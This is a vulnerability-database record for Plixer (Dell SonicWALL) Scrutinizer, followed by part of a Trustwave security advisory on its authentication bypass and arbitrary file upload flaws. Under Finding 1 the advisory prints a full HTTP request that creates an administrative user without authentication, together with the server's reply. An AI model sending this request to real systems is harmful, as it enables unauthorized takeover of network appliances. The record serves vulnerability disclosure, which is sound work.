        "url": "http://www.plixer.com/scrutinizer-netflow-sflow/scrutinizer.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2012-3951"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2012-2626"
      },
      {
        "trust": 0.1,
        "url": "http://www.plixer.com)"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2012-3848"
      },
      {
        "trust": 0.1,
        "url": "https://www.trustwave.com"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2012-2627"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-57129"
      },
      {
        "db": "BID",
        "id": "54725"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "db": "PACKETSTORM",
        "id": "115091"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-3848"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULHUB",
        "id": "VHN-57129"
      },
      {
        "db": "BID",
        "id": "54725"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "db": "PACKETSTORM",
        "id": "115091"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-3848"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2012-07-31T00:00:00",
        "db": "VULHUB",
        "id": "VHN-57129"
      },
      {
        "date": "2012-07-30T00:00:00",
        "db": "BID",
        "id": "54725"
      },
      {
        "date": "2012-08-01T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "date": "2012-07-29T23:22:22",
        "db": "PACKETSTORM",
        "id": "115091"
      },
      {
        "date": "2012-07-30T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      },
      {
        "date": "2012-07-31T10:45:42.717000",
        "db": "NVD",
        "id": "CVE-2012-3848"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-03-08T00:00:00",
        "db": "VULHUB",
        "id": "VHN-57129"
      },
      {
        "date": "2012-07-30T00:00:00",
        "db": "BID",
        "id": "54725"
      },
      {
        "date": "2012-08-01T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "date": "2012-08-01T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      },
      {
        "date": "2025-04-11T00:51:21.963000",
        "db": "NVD",
        "id": "CVE-2012-3848"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "115091"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Plixer Scrutinizer (Dell SonicWALL Scrutinizer) Vulnerable to cross-site scripting",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "xss",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "115091"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      }
    ],
    "trust": 0.7
  }
}

VAR-201207-0529

Vulnerability from variot - Updated: 2025-04-11 22:49

d4d/uploader.php in the web console in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.0 allows remote attackers to create or overwrite arbitrary files in %PROGRAMFILES%\Scrutinizer\snmp\mibs\ via a multipart/form-data POST request. Scrutinizer is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. Dell SonicWALL Scrutinizer is a set of multi-vendor application communication analysis visualization and reporting tools developed by Dell. The tool provides features such as deep packet analysis, vibration/latency monitoring, and historical and proactive reporting. Trustwave SpiderLabs Security Advisory TWSL2012-014: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer

Published: 07/27/12 Version: 1.0

Vendor: Plixer International (http://www.plixer.com) Product: Scrutinizer NetFlow and sFlow Analyzer Version affected: Confirmed 9.0.1 (Build 9.0.1.19899) and prior versions may be affected as well. Please note that the software can be found in a long list of other products. Visit http://www.plixer.com/Scrutinizer-Netflow-Sflow/scrutinizer.html for the partial list.

Product description: Network analysis tool for monitoring the overall network health and reports on which hosts, applications, protocols, etc. that are consuming network bandwidth.

Credits: Mario Ceballos of the Metasploit Project Jonathan Claudius of Trustwave Spiderlabs

Finding 1: HTTP Authentication Bypass Vulnerability CVE: CVE-2012-2626

The Scrutinizer web console provides a form-based login facility, requiring users to authenticate to gain access to further functionality. A tiered user access model is also used, where administrative and standard users have a different selection of permissible functions. Authentication and authorization is controlled by the cookie-based session management system. Although this is implemented in a standardized way, the session tokens are not required to perform privileged functions, such as adding users.

Example(s):

This request will add a user named "trustwave" with the password of "trustwave" to the administrative user group.

Request

POST /cgi-bin/admin.cgi HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Length: 70

tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1

Response

HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:52:15 GMT Server: Apache Vary: Accept-Encoding Content-Length: 19 Content-Type: text/html; charset=utf-8

{"new_user_id":"2"}

Finding 2: Arbitrary File Upload Vulnerability CVE: CVE-2012-2627

The Scrutinizer web console is prone to unauthenticated arbitrary file upload vulnerability.